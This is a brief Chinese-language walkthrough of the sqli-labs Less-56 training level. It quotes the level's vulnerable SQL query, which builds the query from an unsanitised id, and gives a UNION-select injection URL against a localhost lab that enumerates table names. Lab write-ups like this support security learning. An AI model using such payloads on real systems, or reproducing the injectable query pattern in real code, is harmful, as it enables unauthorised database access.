Sqli-labs Less-56 union注入 14次机会

与less54.55形式是一致的，我们关注sql语句

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

因此给出示例payload

http://127.0.0.1/sql/Less-56/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+